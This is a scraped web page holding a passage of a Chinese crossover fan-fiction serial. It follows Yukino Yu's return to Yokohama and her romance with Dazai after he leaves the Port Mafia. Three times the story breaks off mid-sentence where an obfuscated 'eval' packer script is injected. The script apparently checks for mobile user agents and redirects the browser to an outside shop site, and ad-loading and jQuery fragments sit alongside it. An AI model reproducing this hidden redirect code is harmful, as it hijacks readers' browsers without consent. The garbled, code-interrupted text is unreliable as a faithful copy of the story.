这应该是恐吓信或者炫耀嘲讽宣言吧? 再说了…… 她将手贴在镜子上,手心竟然毫无阻隔地穿透了过去,就像镜子中还有其他的空间一样。 镜中人嗤笑一声,回握住镜外自己的手,“看来现在我们不得不为自己的生死存亡而做出努力了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722043|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 雪野夕开始一次又一次地挣脱剧情,探索各个支线能否打出让她自己He的结局,反之如果前方是死路…… 黑发少女就会毫不犹豫地用自己带来的刀剑刺入头颅,将自己的生命终结,至此排除一条错误选项。 异界神经病的催命不知道什么时候会来,不怎么伤害自己程序化的朋友反而经常自尽的雪野夕倒是整个人越来越麻木。 好在出逃的那日没有太遥远,当她真正地一路从老师朋友同学的包围圈中杀出重围,重新回到自己的家中,第一反应竟然是虚幻与不真实。 雪野夕站在自家门口,日头高高在上,她因为从学校一刻不停地跑回来,满身大汗、神情恍惚地自言自语,“……我的人生阴影这么多,还挺凉快。” 膝盖上仍然带着早上受伤时摔伤的伤痕,进门时踉跄的脚步打翻了门口柜子上的水晶球,玻璃的碎碴飞溅,有不少都划过她伤痕累累的小腿。 但雪野夕毫不在意,甚至一路冲着家中最大的镜子走了过去,嘴里喃喃自语,“……如果没猜错,应该是这里?” 黑发少女在无数自己的注视中,一只脚踏入了镜子。 前方将会是未知,将会是一趟迄今为止充满变数的旅途。 鸟奋争出壳,蛋就是世界,谁若要诞生,就必须毁掉世界。(注1) 雪野夕握住了陪伴自己良久的日记本,以及镜子里无数正在凝视自己的【雪野夕】。 “要不要给你们取个新名字呢?叫栗子酱怎么样?载体就是这本日记好啦。” “那就走吧,到我们的未来中去。” “从此之后,我就只是雪野夕。” ———— “原来是这样啊……” 大口呕出鲜血的费奥多尔轻声笑起来,“从一开始……就有两本日记。” 太宰治无需伪造,因为其中一本日记,本就是雪野夕写来蒙蔽他的。 而他拿到的另一本……上面附加了【人间失格】! 在他获得的第一本有时间查阅的日记中,雪野夕遇见了一辆掌管异世界转生的卡车,由此离开她所在的世界,前往了一个未知的坐标。 呵呵,她能到达的世界在世界群系中,必须要是已经走完大事的世界,如果用一个故事来描述,那么就是这个故事必须“完结”,由此才能保证外来者不会对世界的稳定性造成什么伤害。 而他为了防止她这个变数,特意挑选了一个她会出现在那个世界中最危险存在的坐标。 但居然……失败了。 神啊……您为何如此不肯偏爱我一丝一毫呢? “异能力,【空间之镜】。” 身后的“人”还在牢牢地抓住刀柄发力,不肯给予他一丝喘息的空间。 费奥多尔咳嗽数声,每一下都有鲜红的血液顺着嘴角喷溅出来。 身后的雪野夕是异能力晶体的化身,借由新拿到的第二本日记中夹杂的【人间失格】挣脱了最外层的【龙彦之间】,只有一击之力,本体不在这个世界……而跨世界无法传递自己的异能。 所以…… 巨大的爆炸声很快吞没了这间还算温馨的小屋。 46.后会有期 失去双臂,被港口mafia的boss森鸥外与坂口安吾一起移交给异能特务科的小野慎吾神色萎靡,在森鸥外接过那张让他狂喜的证件后,小野也即将被身穿制服的专业人员带走,关押在特殊监狱中。 车子后座上被铐住双脚的他几乎一动不动,直到车子平稳地驶出主干道,拐入一片荒凉的原野。 再往前,就是异能特务科关押异能者的监狱,那些犯了重罪的异能者会被定期注射肌松药以抑制行动能力。 在某个时刻,小野慎吾突然剧烈地颤抖起来,接着,他的皮肤下面开始涌动,双手长出,很快那副少年阴柔的面目就被另一个人的柔美相貌取代—— 来自北国的魔人,费奥多尔。 异能力【罪与罚】,能代替那个杀死自己的人活下去。 早在小野慎吾在横滨挑起祸端之前,费奥多尔就在对方的身体里植入了特殊的芯片用以检测心率脉冲信号,信号与炸弹相连,他又将控制这个芯片的远程操作装置放在了自己的手腕的皮肤下面。 一旦事情有变,他就能通过操纵小野慎吾的心率来引爆自己身边的炸弹,以此脱身。 像这样好用的工具,他还有许多个。 车子急停在路边,已经完全变为费奥多尔模样的人优雅地打开后门走了下来,用从刚刚打晕过去的那两个科员那里拿来的手枪对着脚链射击,至此最后一点束缚也被弄断。 “工具……有时候拥有思考的能力,倒还不如一无所知。”费奥多尔低低地叹息一声,“期待下次与你的交锋……太宰君。” 他精确地伸手取下了自己身上的数枚窃听器,扔在路边,低哼着北国的夜曲向前走去。 道路尽头,是早早就等候在此的果戈里。 另一边,太宰治撤下窃听设备,有些不满地“哼”了一声,“……原来异能力是这个吗?下次见面,绝对会剖出你的心脏。” 在他手里,竟然还有一本按理说应该损毁在爆炸中的日记本。 “想要借刀杀人,也要看看自己是否拥有那样的能力啊。”他用一句犀利的点评结束了魔人花费三年在横滨的所有布局。 “快要结束了吗?”指尖敲打着日记本封面,太宰治很快又像是只被拔了胡子的小猫咪一样焦躁起来,“织田作,你说我见到夕酱的时候……” “不、果然还是不行。” “不如现在就跳进鹤见川吧,呜。” 织田作之助对这个比自己小几岁的朋友的反复无常已经很习惯了,他干脆利落地转移话题—— “说起来,太宰,你现在已经无法回到港口mafia了吧?” “那么要不要试着到光明的一方来?” 是完好的说出这句话的织田作,即使是太宰治都难免恍惚了一下。 ……如果是夕酱的话,她会怎么选择呢? “我会考虑的,谢谢你,织田作。”他道了谢,眼神自然地划过在织田作之助身后无所事事的江户川乱步。 即使在记忆中,有成为同僚的画面…… “这点名侦探同意哦。”江户川乱步压一压帽子,“毕竟世界第一的名侦探有这种肚量哦,社长知道了也会觉得很有趣的!” “那就多谢了,乱步先生。” 将这个有点熟悉的称呼说出口,好像也没那么困难。 ———— “结束了?” “结束了……吗?” 鎹鸦在天上盘旋播报着时间,无限城已经被抬上地面,众柱将鬼舞辻无惨合围在中间,看着这位所谓的鬼王在阳光下化为灰烬的模样。 参与无限城之战的鎹鸦,曾经被太宰治秘密训练过一段时间,在播报信息时有着特殊的方法,播报时间也是一样。 在倒计时天亮时,它们默契地修改了真正的时间,让方寸大乱的鬼舞辻无惨做出了错误的判断。 最终,他只能在混乱的思绪中死去,连最后的爱恨嗔痴都无法再说出一句。 好在在场众人没有一个想听他讲述自己悲惨的经历的。 雪野夕从头痛中挣脱后,大战已经进入了火烧眉毛的阶段,她跟着一路上骂骂咧咧的愈史郎在后方跑来跑去,用自己的能力救下了不少普通队员。 虽然惊讶于她怎么还能用血鬼术,但眼下根本不是聊天的时机,愈史郎只能边骂边救人。 好在如今,一切落下帷幕,柱们虽然人人挂彩,总算是没有真正减员。 “你的情况不太好,但只要以后尽量不进行重体力活动,还是有很大可能活下去的。”愈史郎对岩柱悲鸣屿行冥说:“算你走运。” “……我刚刚好像见到了孩子们。”打开心结的岩柱抚摸着佛珠,“今后……世界上不再有鬼,也不再会有因为鬼而哭泣的孩子们了。” 他无法再使用呼吸法这件事,就变得无足轻重起来。 “还有你们也是!”医生愈史郎盯着虽然脱力,但横七竖八地倒在地上欢呼的众人,“接下来的日子里要好好休息,二十五岁就不再是个鬼门关了!” 他喊得大声,场上却没有几个人在听,他们都在笑啊。 愈史郎摇摇头,难道没有暴躁。 雪野夕盯着身边冒出的白色光点,握紧了拳头,“诸位……要告别了。” “好突然!小夕你……不能再停留一段日子吗?”激动到一把抱住镝丸的甘露寺蜜璃瞪大眼睛,撑着自己从地上坐起来。 “我也想留下来参加你和伊黑先生的婚礼呢。”雪野夕有点不高兴地盯着胳膊,“也许我要回去研究一下,怎么才能方便地穿梭世界了。” “啊啊啊啊这个、这个……”脸蛋一下子就变成红苹果的甘露寺蜜璃几乎不敢看身边伊黑小芭内的脸色,自然也就错过了他红彤彤的耳朵和眼睛里下意识晕开的快乐。 鬼杀队的队员们早在柱训开始时就被雪野夕告知过自己来自于异世界这件事,却没想到分别会来得这么快。 “我和哥哥会一直记住你的,姐姐。”时透无一郎躺在地上,伸手握住她的手,“我也会永远记住,你和珠世小姐、愈史郎先生一起照顾我和哥哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726051|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的日子。” “干嘛这么煽情!”躺在他身边的有一郎嫌弃地哼了一声,“……你会回来看我们的吧?” “傲娇已经退环境了,小宝。”雪野夕一人给了一个摸摸,换来有一郎的怒目而视。 “已经没有力气起来告别了……但我们祝福您的心,确是永恒不变的。”这同样是双手紧紧交握的蝴蝶姐妹。 “下次见面,在阳光底下尽情地交流剑技吧,雪野。” “哦?那个时候我的音之呼吸,一定会更加华丽吧?” “喂,你这家伙可不许一走了之啊!” “走好,嗯……一路顺风。” “雪野姐!一定要回来看我们啊!” “认真告别的大家……好可爱,好喜欢!” “大家……”雪野夕感到有灼热的眼泪从眼睛里涌现出来,她体内的鬼血还未完全消退,此时还是有些畏惧太阳。 但地上的人,她新的朋友们,她要将大家的面庞、即使在阳光下也闪闪发光的面庞记住。 “后会有期,我的朋友们……再见。” 身躯一点点化作白色光点消失,耳边的祝福声被急促的水流取代,四肢空浮,只有手中的虚哭神去成为唯一的纪念。 横滨也是清晨。 雪野夕的手摸到了横滨河道的边缘,心中涌现出一股怅然若失。 穿梭世界并不是非常简单的事情,至少她不知道在另一个世界故事完结后,往返需要多大的代价。 她头一次生出在水中多泡一会儿,甚至吐两个泡泡的感慨。 直到一个人影遮住了眼前的阳光。 雪野夕湿漉漉地抬头,看到了逆光站立的太宰治,他脸上的绷带已经消失不见,此时那双鸢色的眼眸,正完完整整地注视着她。 下一秒,她主动施力向上,对方也在同时弯腰。 太宰治第一次主动地抱住了浑身都在滴水的她。 不再畏惧阳光的雪野小姐,不再收到世界穿梭束缚的雪野小姐…… 自己的心里在想什么呢?是嫉妒吗? 还是绝望呢? 她已经彻底不再需要自己了。 这会是自己得到的最后一个拥抱吗? 当窒息的感觉传来时,他才红着眼圈喃喃自语,“果然……是梦吗?” 否则怎么会有被雪野小姐勒死这种好事发生呢? 同样因为复杂感情正在落泪的雪野夕:? “你竟敢把我推进水里。”她继续加大手臂的力气,直到抱住的小青花鱼抑制不住地发出近乎告饶一样的喘息,她才用自己没有完全消退的虎牙一口咬在他被绷带覆盖的肩膀上—— “抱歉,不过准备好被我关进地下室了吗?” “……嗯。”熟悉的眼泪顺着河水滴落在她颈间,却因为稍稍灼热的温度被她轻易地辨认出来。 要说起囚禁的话,眼神沉寂下去的太宰治想着,道歉的也应该是我啊,雪野小姐。 准备好一辈子坠入……名为太宰治的深渊了吗? 47.爱与责任 港口mafia的干部之一太宰治叛逃了。 他不但叛逃地突兀,甚至一口气将港口mafia堆积了一段时间的财务问题全部揭开,一时间,剩下的干部桌上堆满了需要处理的文件,每个人都焦头烂额,根本没有人在意怎么追捕他这件事。 除了毒唯芥川龙之介,他时不时就会来质问她“太宰先生到底去了哪里!” 当中原中也提着一瓶红酒冲进雪野夕办公室的时候,看到的是同事身边堆积如山的文件和同事本人铁青的脸色。 “太宰治……呵呵。”而雪野夕正一边翻看并核对着账目,一边发出相当可怕的、咬牙切齿的声音。 森先生一定是看出了什么,才会给她分配那么多文件,其中大部分还是看了等于读了一篇港口mafia外勤人员工作日记这种没意义的文件。 等着吧,老板,她的空间异能力随随便便都能盗刷你的卡。 中原中也:…… 本来是想找酒友庆祝一下的,雪野夕回归加上太宰治叛逃,双喜临门啊,但雪野看起来好像不是那么愉快的样子。 “是中也啊。”雪野夕从一堆文件中抬头,露出疑似看文件累死之前的梦幻笑容。 “看来我来的不是时候……”中原中也迟疑地将酒瓶往怀里藏藏。 “不,你来的正是时候。”雪野夕的笑容更灿烂了,“作为双黑,你是不是应该将这些文件分担一下呢?” “……” 老好人中原中也,最终非常良心地同意了酒友的请求。 “小银呐,去把你哥哥也叫来。”雪野夕摸摸身边小女孩的头,“记得告诉他我这里有太宰治留下来的好东西,速来。” 芥川银:“……” 她最后还是诚实地去了。 可怜的芥川龙之介被按头在雪野夕的办公室看了一天让自己头晕眼花的文件。 “……关于某事任务报告。”雪野夕叹气,“写的都是什么?让他回去练练字再来吧,不对,通过吧,让他重写还得再看一遍……芥川君,考验你眼力的时候到了,你拿去誊写一遍。” “在下为什么要被你骗来做这种事……”垂耳兔芥川君身上的衣服无风自动,像是只张牙舞爪的炸毛兔子。 “因为这是太宰治遗留问题。”她一本正经地胡说八道,“你看,连中也都在老老实实看文件,假如太宰治知道,你不但能将他留下来的问题解决的很好,甚至能独当一面处理更多的事……” 那么太宰先生肯定会认可自己的! 被忽悠瘸了的芥川龙之介精神一振,下意识瞪大眼睛,太宰先生……认可,认可……来自太宰先生! 一时间,他扑向了那堆文件,左右开弓,甚至外套上都分出两条罗生门变化的手臂帮自己分类整理。 太宰先生的认可!鄙人一定会拿到! 雪野夕:“nice!” 她在抓来的两个壮丁的帮助下,很快分门别类地回复并处理了所有文件,至此桌子上只剩下最后一件东西。 这是一个雪白的信封,里面鼓鼓囊囊塞了什么坚硬的东西。 中原中也扫了一眼,没看见什么有用信息,随口问道:“哪里来的?不会是哪个敌对组织寄过来的炸弹吧?” 雪野夕把信封拆开,里面竟然是一枚钥匙。 甚至于,是一枚拥有使用痕迹的钥匙。 “这是……”她下意识攥紧它,“这是我家的钥匙!?” 信封里最后一点东西轻飘飘地落了下来,是一张写着地址的小纸条。 “你什么时候买房了?”中原中也有点摸不到头脑,“总之……恭喜?” “哦,我到时候给你带礼物。”雪野夕打开手机看了一眼自己账户,语气更加飘忽了,“……连我的余额都搬过来了,幸福来的真突然。” “这就是让我加班的赔罪方式吗?” 中原中也:“哈?” 同事疑似加班即将过劳死并且出现幻觉了? 雪野夕很快按照纸条上的地址找到了位置,但当她看到自己带院子的独栋别墅出现在横滨海边的时候,还是感觉到了一阵不可置信。 太宰治给周围其他人洗脑了? 可手中的钥匙确实就是她在另一个世界用了很久的那把。 她将钥匙插进院子的锁眼中轻轻一转,大门随着轻轻的响声开启。 穿过院子中的□□,用拇指的指纹解锁大门,开门迎来的是—— 即使穿着女仆装,身上关键部位还坚持缠着绷带的太宰治,甚至敬业到连头上都带了猫耳发卡,脖子上也缠上了铃铛。 雪野夕:…… 她要先关门出去在院子里笑一会。 一想到一打开家门就看见喜欢的帅哥、帅哥还会主动和自己玩cosplay,她就忍不住小人得志地笑出声。 “主人,你要去哪啊主人?”伪装小猫咪的黑泥精非常上道地像只史莱姆一样贴过来,“是不喜欢我今天的打扮吗?” “喵~” 雪野夕尽量抿嘴让自己不要笑得像个变态,“这个衣服……咦,怎么有点眼熟?” “因为这就是在夕酱的衣柜里找到的哦。”太宰治紧紧抱住了她的腰,声音在她耳畔响起,“夕酱为什么会有这件衣服呢?” 这是因为雪野夕非常喜欢能彰显个性的东西,衣柜里的衣服都以张扬为主,少量的正装用于出席活动时穿穿。 而且她很喜欢繁复的衣物装饰,只喜欢看别人穿,自己穿在身上就会嫌弃麻烦。 所以她真的买了很多美丽废物挂在衣柜里。 但现在家里有了一只主动会穿这些的小猫咪。 她忍了好久,终于忍不住笑了。 太宰治:? 有的时候,夕酱也有点难以捉摸。 “我的衣柜里还有很多呀。”雪野夕回抱住他贴贴,“能不能……” 当然可以。 太宰治微笑着在心里答应,毕竟他以前只是一只流浪狗啊,如今不但可以登堂入室,还得到了主人的偏爱。 那么只是完成主人的小小愿望,又有什么不可以呢? 只要是……她想要完成的愿望…… “那么……不把我关进地下室吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729967|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 他十分顺从地被雪野夕扑倒在厚实的地毯上,任由对方任意揉搓头发。 “毕竟在家里等你……是我太自作主张了。” “说到家里!”雪野夕一拍手心,顺手从他口袋里拿出手机,打开后一顿操作,“好啦!给你绑定了我的卡。” 毕竟他帮助自己拿到了自己原来世界的家产,现在就算是她躺着挥霍,估计下辈子也花不完多少。 虽然雪野家的财富赶不上源氏家族,但玛丽苏的世界里,作为恶毒女配的她根本不缺钱,偶尔跟真理子打闹也不过是在开玩笑而已。 太宰治瞳孔地震,“居然是这个反应嘛?” “什么这个反应。”雪野夕伸出食指漫不经心地拨弄他脖颈间的铃铛,“不够的话我可以把森先生的卡拿来给你花。” “这个时候为什么要提他!”太宰治下意识咽了下口水,小声抗议,随后又自然地转换成撒娇,“你昨天还咬我……” “嗯?没有忍住呢。”她戳戳他的脸,“而且都被绷带绑住了……那个时候我是真的生气!更别说你还给我留下那么多的文件!” “那要惩罚回来吗?”他微微歪头,喉间的金铃铛发出一声细碎清响,“这次咬在……我的绷带下面。” 雪野夕曾经在抱住他的时候,感受到他清瘦身躯的颤动,也能抚摸到那些细小却不容忽视的伤痕。 太宰治这个人,是个连爱都不敢问出口的胆小鬼。 当雪野夕想要表达情感的时候,她可以一本正经地直接诉说自己的爱与责任。 但太宰治不同,他的感情中总是夹杂着试探与拉扯。 因为爱一个人就等于杀死其他所有的人。※ 雪野夕解开了他缠在脖子上的绷带,其下是很久未曾晒过太阳的苍白。 致命的弱点,再一次暴露在体内鬼血还未代谢完全的恋人咫尺,毫无遮蔽。 “……太宰治。” 她拽住了他脖子上挂着金铃铛的颈环,“我……” 我曾见过未来的你,此刻当然也…… “不、请你不要说出来,雪野小姐,求你。” 可耳边他的声音却颤抖到像是快要落下眼泪,他无法询问她的爱,却时刻嫉妒着未来的自己。 甚至从她第一次直观地向他展露感情时就嫉妒得发狂。 “不是的。”雪野夕的手指摩挲了一下铃铛,连带着他颈部的一部分皮肤都囊括在内。 “遇见未来的你的,是过去的我。” “而现在,只有并且只是当下的我们。” 她的嘴唇贴在他的耳畔,每一个音节都清清楚楚地传达进他的脑海。 “我……” “想听多少次都没关系哦。” 铃铛的声音开始变得破碎而无规律起来。 “你每次问我,我的回答都是一样的。” “但我……一定要你亲自问我才行。” 尖尖的虎牙再次刺入同一个位置。 但这一次不再有绷带的阻隔。 一直流浪的人,终于得到了想要的烙印与归属。 48.暴雨之夜 狂风大作的暴雨之夜,睡眼惺忪的男人喝得酩酊大醉,歪歪扭扭地打开了自家的大门。 这是一间狭小的公寓,只有一居室,地板因为进水而开裂,踩上去会发出“噼啪”清响,身上上未干的水渍顺着裤腿与皮鞋渗入地面,浑身粘腻的滋味让男人低咒一声。 他骂骂咧咧地将衣物粗鲁地褪下扔在地上,和乱糟糟的杂物一起潮湿而杂乱地滚做一团。 而糟心的还不只是这些,击打在玻璃窗外的雨滴连绵不绝地发出“砰砰”声,头顶上的吊灯在三天前就坏了,男人忙于应酬,根本没精力去修理它。 大力按了几下开关,惨白的灯光猛然亮起一瞬,有很快断断续续地闪烁起来。 喉咙中涌上来的不适让他连捶墙的力气都没有,手脚并用地在地板上留下一串水印奔向马桶。 将胃里的酒液吐尽,那种不适感却一直猛烈地灼烧着喉咙,耳边的雨声还在继续…… 那“砰砰”的声音似乎越来越大了。 男人脱力地向后仰倒,却看见窗外一直在拍着玻璃的,根本就不是雨…… “……” “好长的前摇。”雪野夕剥开一枚水果糖塞进沙发里靠在她肩膀上的太宰治嘴里,“要是我的话……开门杀就不错。” “好可怕哦。”太宰治含住那块糖,还顺便懒洋洋地蹭了两下她的手心,吐息般的话语就在她耳边响起,“如果是我,会选择在他呕吐的时候安排鬼出场呢。” “噫,居然让一个脆弱的人一下子遭受两种打击。”雪野夕也摸摸小猫咪,“你说我们去开个鬼屋怎么样?” “哎?”小猫咪“噌”一下立起耳朵,“那我去演鬼吗?” “要是让港口mafia的员工在那里团建,他们看见【鬼是太宰治扮演的】应该会比【这个世界上真有鬼】还要害怕吧?” 毕竟真鬼他们也见过,正是雪野夕本人。 胡扯的鬼屋话题结束,他们两个又重新凑在一起在没开灯的客厅里看完了恐怖片,南侧阳台的落地窗本来是欣赏海景的好地方,但此刻窗外正是与这部《雨夜惊魂》相似的暴雨之夜。 他们两个一致觉得,这种环境连音效都可以省下来,于是就一起兴致勃勃地看起了碟片。 影片结束,落地灯亮起,横滨转入秋季,渗漏进来的空气也带上了水的凉意。 雪野夕本就因为无聊的剧情在一心二用打着探索类小游戏,此时更是全神贯注地投入进去。 这个探索小游戏非常不做人,它是一个全盲地图,开局玩家操纵的小人会出生在地图正中央的一个小格子里,接着玩家通过手柄控制小人进行移动进入一个新格子,此时才会知道这个格子里究竟是什么东西。 如果是装备,那就赚到了,如果是炸弹,就只能重开。 雪野夕变回人类后,眼睛也重新回到了近视三百度还有些散光的状态,在密密麻麻的地图上被炸死好几次后,她就已经开始愤怒地找充值按钮在哪里了。 但单机小游戏是一次性付款的游戏卡,根本不能氪金。 太宰治本来环抱住她的腰安静地剥着石榴,这个时候看她暴躁的样子也很好玩,他还时不时轻轻抓住她的手替她移动一下手柄,避开了好几个炸弹。 “你怎么知道哪里有炸弹的?”雪野夕微微侧头去和他贴贴。 “唔,游戏开始的时候会给两秒钟的浏览全地图时间。” “可是后续所有未解锁的格子还会换位耶,眼花缭乱的……为什么你的眼力这么好。”她想起太宰治以前总是缠住一只眼睛,按理说这样不是应该会损失视力吗? 可恶的天选之人! 看到她恰柠檬一样的表情,太宰治非常顺从地俯身,“那……夕酱要惩罚我吗?” 他一脸诚恳地与她对视,虚握的手也没有放开,轻轻拨弄了两下就又避开了一个有炸弹的格子。 “……这种时候不许用美男计。”雪野夕下意识地反驳。 太宰治压低声音笑到胸腔都在轻微震颤,“哪有?夕酱想到哪里去了?” “我说的是……像昨天那样,在我身上留下痕迹……夕酱又是在想什么?” “那要我每天都咬你一口吗?” 临场退缩不是雪野夕的风格,更别说眼前就是喜欢的人。 刚刚还在一本正经调笑的人却像是被吓了一跳,少顷,他才微微落下了双手覆盖的重量,只是语气听起来甚至有点艰涩,“……好。” 未来啊,这种看似轻率的许诺却是他永远也无法说出拒绝的原因。 看着他垂下眼帘、睫毛轻轻抖动的样子,甚至连双手都不敢用力与她交握,雪野夕鬼使神差地更近一步—— “我可以……亲你一下吗?太宰先生?” 也许是他紧张时会叫她“雪野小姐”的缘故,她此时也下意识地喊他“太宰先生”。 而这条小青花鱼他绝对脸红了。 唇角轻轻落下一个吻。 “我喜欢你,小青花鱼。” 又一下,还是一触即分。 “毕竟你都自己收拾好到我家来了。” 第三下。 “昨天说好的,我说几次都无所谓哦。” 被捧住脸颊,几乎僵硬到一动不动的太宰治双手紧紧地抓住了自己身上的家居服,窗外的暴雨丝毫没有停歇的意味,反而越来越大,即使用余光也能清楚地望见玻璃外不断滑落的水幕。 ……那么现在,又是什么在冲刷着他的心呢? 他下意识伸手,扯开了雪野夕系在脑后的丝带。 她长度及腰的黑发像星夜一样笼罩下来,轻抚过他的手背。 “……雪野小姐。” 这次不再有质疑与闪躲,他也想暂时忘掉自己的寂寥,右手顺着雪野夕的脸颊、穿过柔滑的发丝,最终牢牢地按住她的后脑。 而他仰头去追逐她。 连绵不绝的雨声在耳边远去,他们彼此在此刻的视线里就只有对方,耳边也只能听见对方绵长的呼吸。 热度仅仅来源于彼此,还有那取代了雨声的细微水声。 “……” 雪野夕按住他的肩膀,轻轻用自己的鼻子蹭过太宰治的,呼吸就在咫尺之间,除了炽热还有细微的血腥气。 他碰到了自己的虎牙,下唇右侧被磕破一个小小的血口。 “好疼……夕酱。” 几乎是没有任何缓冲,他另一只原本环在她背上的手下移,按住了雪野夕的腰,“……所以再来一次吧。” “……但你不是最怕疼了吗?”雪野夕唇角也有点肿,这只猫亲人倒不像平时那么好说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 话,双手几乎牢牢地将她环绕进自己的领地内,即使她坏心眼地故意用虎牙咬他,他也只会哼唧着发出模糊的声音,然后加重力气而已。 太宰治有点挫败地埋在她肩上,“好想变成一只真正的猫。” “嗯?”雪野夕摸摸他的头,“你现在不是吗?” 他们两个现在一起窝在沙发一角,晕黄的灯光从另一侧渲染出一片小小的光亮,屋外是狂风暴雨,这一方空间里却像是温柔的夜话了。 “或者说……如果我的时间能永恒地停留在这一刻。” 太宰治只能凌乱地说出寥寥数语,可是他这一生就是这样的没有办法。 “夕酱是喜欢我的皮囊吗?那就让我在你记忆中永远不变,这样不好吗?” “不好。”雪野夕非常迅速地反驳了他的问题,“可是如果我就是想要看见你变化的样子呢?” “我已经见过了太宰治十五岁的模样、十八岁的模样,那么未来呢……未来太宰治的样子,不可以让我见到吗?” 空气在此凝固一刻。 “那真是让人嫉妒啊,未来的我。”太宰治愣了下,有些闪躲地说出这句话。 “所以既然分得这么开……”雪野夕恶人先告状,“你想说其实你不喜欢过去的我也不喜欢未来的我?” 太宰治:“?” 小猫咪在她故作生气的眼神中成功败北,这才有些吞吞吐吐地小声向主人诉说烦恼—— “织田作在我叛逃前就邀请过我加入武装侦探社,光明的一方,我真的能够融入吗?” 从前在街上流浪的小猫,在某些事上总是缺乏安全感和信心,但现在都能跟她说出来了,很有进步啊! 雪野夕抱住他蹭蹭,“只是进入阳光下,没有必要一定要融入吧?” “太宰在港口mafia的时候似乎有点迷茫……活着的人总是喜欢阳光的,猫咪喜欢晒太阳不是正常的嘛。” “哎?”太宰治毫无反抗之意地被她按在沙发上蹭,“……夕酱居然这么认为吗?” “最重要的是——”雪野夕抬起头,用非常认真的语气说:“我相信你,我相信太宰治有去爱这个世界的能力。” “织田先生和坂口先生也会,我也好,我们也许与太宰一起前行,但能够决定走上这条路的,是太宰自己啊。” “既然已经成年了……”她轻轻捏了捏他的脸,“那就祝太宰君像风一样自由吧。” 太宰治下意识蜷缩起指尖,在他躺倒的沙发下,有两本一模一样的硬皮日记本。 正是应该与费奥多尔一起被炸碎的那两本。 魔人自始至终,都没有拿到过哪怕是一本真正的、由雪野夕书写的日记。 自己曾经被形容为冬日的深潭,可是他哪是潭水那样洁净的东西。 所以才是……坠入深渊啊。 “夕酱。”他的眼泪与亲吻一起落在雪野夕的指尖,又顺势触及到了喉咙处的绷带—— “既然是成年的祝福……” “在暴雨之夜,能做的事情可不只是看恐怖片啊。” 半剥开的石榴从沙发上扫落,一声闷响后彻底跌碎为四瓣,随意铺散在柔软的地毯上。 落地灯陷入黑暗,唯有窗外的水光投射在石榴鲜红的果实上,映出一片绯色光影。 49.是文件啊 雪野夕再次醒过来的时候,时间似乎已经到了中午。 骤雨初歇,太阳高悬,落地窗上还闪烁着一层水光。 不知道掉进哪里的手机正在“嗡嗡”振动,让她不得不头脑发昏地在沙发缝里来回摸索着找它。 至于被她当了一上午枕头和垫子的太宰治,他正用无辜的眼神告诉她—— 我的手我的胳膊我的肩膀都好麻哦。 雪野夕:…… 她好不容易将手机摸出来打开屏幕,上面显示来自中原中也的消息已经高达99+。 这下完啦…… 有信息也有电话,刚刚那个呼叫她还没来得及接起来,下一个夺命连环call就又来了。 “咳……是中也啊。”雪野夕清清自己有些沙哑的喉咙,扯着毯子坐起来接电话。 小青花鱼太宰治也像融化了一半的黏糊奶糖一样跟着她爬起来,此刻正靠在她肩膀上听她和自己的前任搭档打电话。 “哈?你不会是要告诉我你刚起床吧?”电话对面传来中原中也暴躁的声音,“你的文件!还有多少没看完!你知道吗!” “这个……哈哈。”她很心虚地扯了下手边太宰治的头发,力道不重,大概是“你看你干的好事”这样子。 完全没感受到生气意味的猫咪凑上来舔了一下她的下巴。 “今天你和芥川君有空吗?”雪野夕试图分担自己身上的重任,又被对面有责任心的同事吼回来,“不要老支使后辈啊!而且还是身体不太好的后辈。” “对不起我错了,但你说的后辈应该不包括你自己吧?”她立刻从善如流地询问,成功得到了中原中也一声“滚”。 有时候人就是这样的,不犯贱浑身不爽,直到被骂了还会觉得非常有意思。 但那种无意义的文件她是必不可能每一张都看完的。 挂断电话,雪野夕去揪太宰治的脸,“你看,现在在中也心里我变成和你一样的青花鱼系生物了!” “哎?”被扯脸的太宰治根本不想反抗,“明明是夕酱也觉得迫害小蛞蝓很好玩吧?” “唔,敢不敢录下来发给中也啊。” “到时候一起被蛞蝓追杀吗?好像也很有趣啊!” “这样的话……中也还会帮我看那堆没什么意义的文件吗?” 雪野夕感叹完,就掏出手机发了几条信息,“没关系,这也在我计划之内,我让黑泽把文件送到家里居家办公就好。” “夕酱居然这么热爱工作。”太宰治刻意捏紧嗓子,“我还在你旁边呢,果然昨晚得到了就容易不珍惜……唔唔!” “当然不会。” 还跟他裹在同一条毯子里的雪野夕露出自己的本性,“我的意思是送来家里,然后给你看。” “自己搞得事就要自己处理好啊!” 